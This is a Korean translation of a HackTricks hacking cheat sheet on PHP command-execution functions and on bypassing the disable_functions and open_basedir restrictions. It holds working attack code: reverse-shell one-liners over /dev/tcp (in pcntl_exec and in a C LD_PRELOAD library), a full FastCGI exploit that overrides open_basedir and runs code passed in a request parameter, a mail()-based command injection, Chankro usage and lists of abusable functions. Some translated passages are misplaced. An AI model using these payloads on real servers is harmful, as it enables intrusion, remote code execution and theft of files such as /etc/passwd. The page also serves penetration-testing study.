PHP - Useful Functions & disable_functions/open_basedir bypass

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅까지 AWS 해킹 배우기 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

  • 회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면 SUBSCRIPTION PLANS를 확인하세요!

  • The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션

  • 💬 Discord 그룹가입하세요(https://discord.gg/hRep4RUj7f) 또는 텔레그램 그룹가입하거나 Twitter 🐦에서 팔로우하세요 @carlospolopm.

  • HackTricksHackTricks Cloud github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.

PHP 명령어 및 코드 실행

PHP 명령어 실행

참고: p0wny-shell php 웹쉘은 다음 함수가 비활성화된 경우 자동으로 확인하고 우회할 수 있습니다.

exec - 명령어 출력의 마지막 줄을 반환

echo exec("uname  -a");

passthru - 명령의 출력을 브라우저로 직접 전달합니다

echo passthru("uname -a");

시스템 - 명령어 출력을 브라우저로 직접 전달하고 마지막 줄을 반환합니다

echo system("uname -a");

shell_exec - 명령어의 출력을 반환합니다

echo shell_exec("uname -a");

`` (백틱) - shell_exec()와 동일합니다

echo `uname -a`

popen - 명령어의 프로세스에 대한 읽기 또는 쓰기 파이프를 엽니다

echo fread(popen("/bin/ls /", "r"), 4096);

proc_open - popen()과 유사하지만 더 많은 제어 가능

proc_close(proc_open("uname -a",array(),$something));

preg_replace

<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>

pcntl_exec - 프로그램을 실행합니다 (기본적으로 현대적이고 그렇지 않은 PHP에서는 이 함수를 사용하려면 pcntl.so 모듈을 로드해야 합니다)

pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);

mail / mb_send_mail - 이 함수는 메일을 보내는 데 사용되지만 $options 매개변수 내에 임의의 명령을 삽입하는 데 악용될 수 있습니다. 이는 php mail 함수가 일반적으로 시스템 내부의 sendmail 바이너리를 호출하고 추가 옵션을 넣을 수 있기 때문입니다. 그러나 실행된 명령의 출력을 볼 수 없으므로 출력을 파일에 작성하는 쉘 스크립트를 만들고, 해당 스크립트를 mail을 사용하여 실행하고 출력을 인쇄하는 것이 좋습니다:

file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777);  mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');

dl - 이 함수는 PHP 확장 프로그램을 동적으로 로드하는 데 사용할 수 있습니다. 이 함수는 항상 존재하는 것은 아니므로 악용하기 전에 사용 가능한지 확인해야 합니다. 이 페이지를 읽어 이 함수를 악용하는 방법을 알아보세요.

PHP 코드 실행

eval 이외에도 PHP 코드를 실행하는 다른 방법이 있습니다: include/require은 로컬 파일 포함 및 원격 파일 포함 취약점 형태로 원격 코드 실행에 사용될 수 있습니다.

${<php code>}              // If your input gets reflected in any PHP string, it will be executed.
eval()
assert()                   //  identical to eval()
preg_replace('/.*/e',...)  // e does an eval() on the match
create_function()          // Create a function and use eval()
include()
include_once()
require()
require_once()
$_GET['func_name']($_GET['argument']);

$func = new ReflectionFunction($_GET['func_name']);
$func->invoke();
// or
$func->invokeArgs(array());

// or serialize/unserialize function

disable_functions & open_basedir

비활성화된 함수는 PHP의 .ini 파일에서 구성할 수 있는 설정으로, 지정된 함수의 사용을 금지할 수 있습니다. Open basedir는 PHP에게 액세스할 수 있는 폴더를 지정하는 설정입니다. PHP 설정은 /etc/php7/conf.d 경로나 유사한 경로에 구성됩니다.

두 구성은 **phpinfo()**의 출력에서 확인할 수 있습니다:

open_basedir Bypass

open_basedir는 PHP가 액세스할 수 있는 폴더를 구성하며, 이러한 폴더 외부의 파일을 쓰거나 읽거나 실행할 수 없지만 다른 디렉토리를 나열할 수도 없습니다. 그러나 어떤 방법으로든 임의의 PHP 코드를 실행할 수 있다면, 다음 코드 조각을 시도하여 제한을 우회할 수 있습니다.

glob:// 우회를 사용한 디렉토리 목록 나열

첫 번째 예제에서는 glob:// 프로토콜과 일부 경로 우회를 사용합니다:

<?php
$file_list = array();
$it = new DirectoryIterator("glob:///v??/run/*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///v??/run/.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}

참고1: 경로에 /e??/*를 사용하여 /etc/* 및 다른 폴더를 나열할 수도 있습니다. 참고2: 코드 일부가 중복된 것처럼 보이지만, 실제로는 필요합니다! 참고3: 이 예제는 폴더를 나열하는 데만 유용합니다

FastCGI를 악용한 완전한 open_basedir 우회

PHP-FPM 및 FastCGI에 대해 더 알고 싶다면 이 페이지의 첫 번째 섹션을 읽어보세요. **php-fpm**이 구성되어 있다면, open_basedir를 완전히 우회할 수 있습니다:

먼저 해야 할 일은 php-fpm의 유닉스 소켓이 어디에 있는지 찾는 것입니다. 보통 /var/run 아래에 있으므로 이전 코드를 사용하여 디렉토리를 나열하고 찾을 수 있습니다. 여기서 코드를 가져왔습니다.

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
```php
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

이 스크립트는 일반적으로 /var/run에 위치한 php-fpm의 unix 소켓과 통신하여 임의의 코드를 실행합니다. open_basedir 설정은 보낸 PHP_VALUE 속성에 의해 덮어씌워집니다. evalcmd 매개변수 내에서 보낸 PHP 코드를 실행하는 방법에 주목하세요. 또한 주석 처리된 324번째 줄에 주목하세요. 해당 줄의 주석을 해제하면 페이로드가 자동으로 제공된 URL에 연결되어 포함된 PHP 코드를 실행합니다. 단순히 http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');에 액세스하여 /etc/passwd 파일의 내용을 얻을 수 있습니다.

open_basedir 구성을 덮어쓴 것과 마찬가지로 disable_functions를 덮어쓸 수 있다고 생각할 수 있습니다. 시도해보세요, 하지만 작동하지 않을 것입니다. disable_functions.ini php 구성 파일에서만 구성할 수 있으며 PHP_VALUE를 사용하여 수행하는 변경 사항은 이 특정 설정에 대해 효과적이지 않을 것입니다.

disable_functions 우회

머신 내에서 PHP 코드를 실행하는 경우 일반적으로 임의의 시스템 명령을 실행하려고 할 것입니다. 이러한 상황에서는 대부분 또는 모든 PHP 함수disable_functions에서 비활성화되어 있는 것을 발견하는 것이 일반적입니다. 그래서, 이 제한을 우회하는 방법을 살펴보겠습니다 (우회할 수 있다면)

자동 우회 발견

https://github.com/teambi0s/dfunc-bypasser 도구를 사용하여 **disable_functions를 우회할 수 있는 함수(있는 경우)**를 알려줄 것입니다.

다른 시스템 함수 사용하여 우회

이 페이지의 처음으로 돌아가서 명령 실행 함수 중 비활성화되지 않고 환경에서 사용 가능한 함수가 있는지 확인하세요. 그 중 하나를 찾으면 임의의 시스템 명령을 실행하는 데 사용할 수 있을 것입니다.

LD_PRELOAD 우회

mail()과 같은 PHP의 일부 함수가 시스템 내에서 이진 파일을 실행할 것으로 알려져 있습니다. 따라서, 환경 변수 LD_PRELOAD를 사용하여 임의의 라이브러리를 로드하여 아무 것이나 실행할 수 있습니다.

LD_PRELOAD로 disable_functions 우회에 사용할 수 있는 함수

  • mail

  • mb_send_mail: php-mbstring 모듈이 설치된 경우 효과적입니다.

  • imap_mail: php-imap 모듈이 있는 경우 작동합니다.

  • libvirt_connect: php-libvirt-php 모듈이 필요합니다.

  • gnupg_init: php-gnupg 모듈이 설치된 경우 사용 가능합니다.

  • new imagick(): 이 클래스는 제한을 우회하는 데 악용될 수 있습니다. 자세한 악용 기술은 포괄적인 여기에서 찾을 수 있습니다.

이러한 함수를 찾는 데 사용된 퍼징 스크립트는 여기에서 찾을 수 있습니다.

여기 LD_PRELOAD 환경 변수를 악용하기 위해 컴파일할 수 있는 라이브러리가 있습니다:

#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>

uid_t getuid(void){
unsetenv("LD_PRELOAD");
system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
return 1;
}

Chankro 사용 바이패스

이 구성 오용을 악용하기 위해 Chankro를 사용할 수 있습니다. 이 도구는 취약한 서버에 업로드하고 실행해야 하는 PHP exploit을 생성할 것입니다 (웹을 통해 액세스). Chankro는 희생자의 디스크 안에 실행하려는 라이브러리와 역술을 작성하고 LD_PRELOAD 트릭 + PHP mail() 함수를 사용하여 역술을 실행할 것입니다.

Chankro를 사용하려면 disable_functions 목록 안에 mailputenv포함되어서는 안 됩니다. 다음 예제에서는 arch 64chankro exploit을 생성하는 방법을 볼 수 있습니다. 이 exploit은 whoami를 실행하고 결과를 _/tmp/chankro_shell.out_에 저장하며, chankro는 라이브러리와 payload를 _/tmp_에 작성하고 최종 exploitbicho.php로 호출될 것입니다 (희생자 서버에 업로드해야 하는 파일):

#!/bin/sh
whoami > /tmp/chankro_shell.out

다음은 PHP에서 자주 사용되는 함수 중 일부입니다.

disable_functions

이 함수는 PHP에서 사용할 수 없도록 설정된 함수의 목록을 반환합니다. 이 목록에 있는 함수들은 실행되지 않습니다.

open_basedir bypass

open_basedir 제약을 우회하는 방법 중 하나는 cURL을 사용하여 외부 파일을 다운로드하고 실행하는 것입니다. 이를 통해 제한된 디렉토리 경로를 우회할 수 있습니다.

python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php

mail 함수가 비활성화된 함수에 의해 차단되었음을 발견하면 mb_send_mail 함수를 사용할 수도 있습니다. 이 기술 및 Chankro에 대한 자세한 정보는 여기에서 확인할 수 있습니다: https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/

PHP 기능을 사용한 "Bypass"

PHP를 사용하면 파일을 읽고 쓰기, 디렉토리 생성 및 권한 변경이 가능합니다. 심지어 데이터베이스 덤프도 가능합니다. PHP를 사용하여 상자를 열거하여 권한 상승/명령 실행 방법을 찾을 수도 있습니다 (예: 일부 개인 ssh 키 읽기).

이 작업을 수행하는 데 매우 쉬운 웹쉘을 만들었습니다 (대부분의 웹쉘은 이 옵션을 제공할 것입니다): https://github.com/carlospolop/phpwebshelllimited

모듈/버전 종속적 우회

특정 모듈이 사용되거나 특정 PHP 버전을 악용하는 경우 disable_functions를 우회하는 여러 가지 방법이 있습니다:

자동 도구

다음 스크립트는 여기서 설명된 방법 중 일부를 시도합니다: https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php

다른 흥미로운 PHP 함수

콜백을 수용하는 함수 목록

이러한 함수는 공격자가 선택한 함수를 호출할 수 있는 문자열 매개변수를 수용합니다. 공격자가 매개변수를 전달할 수 있는지 여부는 함수에 따라 다를 수 있습니다. 그 경우 phpinfo()와 같은 정보 노출 함수를 사용할 수 있습니다.

콜백 / 호출 가능

여기서 목록을 계속

// Function => Position of callback arguments
'ob_start' => 0,
'array_diff_uassoc' => -1,
'array_diff_ukey' => -1,
'array_filter' => 1,
'array_intersect_uassoc' => -1,
'array_intersect_ukey' => -1,
'array_map' => 0,
'array_reduce' => 1,
'array_udiff_assoc' => -1,
'array_udiff_uassoc' => array(-1, -2),
'array_udiff' => -1,
'array_uintersect_assoc' => -1,
'array_uintersect_uassoc' => array(-1, -2),
'array_uintersect' => -1,
'array_walk_recursive' => 1,
'array_walk' => 1,
'assert_options' => 1,
'uasort' => 1,
'uksort' => 1,
'usort' => 1,
'preg_replace_callback' => 1,
'spl_autoload_register' => 0,
'iterator_apply' => 1,
'call_user_func' => 0,
'call_user_func_array' => 0,
'register_shutdown_function' => 0,
'register_tick_function' => 0,
'set_error_handler' => 0,
'set_exception_handler' => 0,
'session_set_save_handler' => array(0, 1, 2, 3, 4, 5),
'sqlite_create_aggregate' => array(2, 3),
'sqlite_create_function' => 2,

정보 노출

대부분의 이 함수 호출은 싱크가 아닙니다. 대신 반환된 데이터 중 하나라도 공격자가 볼 수 있다면 취약점일 수 있습니다. 공격자가 phpinfo()를 볼 수 있다면 확실히 취약점입니다.

phpinfo
posix_mkfifo
posix_getlogin
posix_ttyname
getenv
get_current_user
proc_get_status
get_cfg_var
disk_free_space
disk_total_space
diskfreespace
getcwd
getlastmo
getmygid
getmyinode
getmypid
getmyuid

기타

extract    // Opens the door for register_globals attacks (see study in scarlet).
parse_str  // works like extract if only one argument is given.
putenv
ini_set
mail       // has CRLF injection in the 3rd parameter, opens the door for spam.
header     // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_nice
proc_terminate
proc_close
pfsockopen
fsockopen
apache_child_terminate
posix_kill
posix_mkfifo
posix_setpgid
posix_setsid
posix_setuid

파일 시스템 함수

RATS에 따르면 PHP의 모든 파일 시스템 함수는 나쁘다고 합니다. 이 중 일부는 공격자에게 그다지 유용해 보이지 않을 수 있습니다. 다른 함수들은 생각보다 더 유용할 수 있습니다. 예를 들어, allow_url_fopen=On이면 URL을 파일 경로로 사용할 수 있으므로 copy($_GET['s'], $_GET['d']); 호출을 사용하여 PHP 스크립트를 시스템의 어디에나 업로드할 수 있습니다. 또한 GET을 통해 요청을 보낼 수 있는 사이트가 취약하다면 이러한 파일 시스템 함수를 통해 다른 호스트로 공격을 전달할 수 있습니다.

파일 시스템 핸들러 열기

fopen
tmpfile
bzopen
gzopen
SplFileObject->__construct

파일 시스템에 쓰기 (일부는 읽기와 결합하여)

chgrp
chmod
chown
copy
file_put_contents
lchgrp
lchown
link
mkdir
move_uploaded_file
rename
rmdir
symlink
tempnam
touch
unlink
imagepng     // 2nd parameter is a path.
imagewbmp    // 2nd parameter is a path.
image2wbmp   // 2nd parameter is a path.
imagejpeg    // 2nd parameter is a path.
imagexbm     // 2nd parameter is a path.
imagegif     // 2nd parameter is a path.
imagegd      // 2nd parameter is a path.
imagegd2     // 2nd parameter is a path.
iptcembed
ftp_get
ftp_nb_get
scandir

파일 시스템에서 읽기

file_exists
-- file_get_contents
file
fileatime
filectime
filegroup
fileinode
filemtime
fileowner
fileperms
filesize
filetype
glob
is_dir
is_executable
is_file
is_link
is_readable
is_uploaded_file
is_writable
is_writeable
linkinfo
lstat
parse_ini_file
pathinfo
readfile
readlink
realpath
stat
gzfile
readgzfile
getimagesize
imagecreatefromgif
imagecreatefromjpeg
imagecreatefrompng
imagecreatefromwbmp
imagecreatefromxbm
imagecreatefromxpm
ftp_put
ftp_nb_put
exif_read_data
read_exif_data
exif_thumbnail
exif_imagetype
hash_file
hash_hmac_file
hash_update_file
md5_file
sha1_file
-- highlight_file
-- show_source
php_strip_whitespace
get_meta_tags
제로부터 영웅이 될 때까지 AWS 해킹 배우기 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

Last updated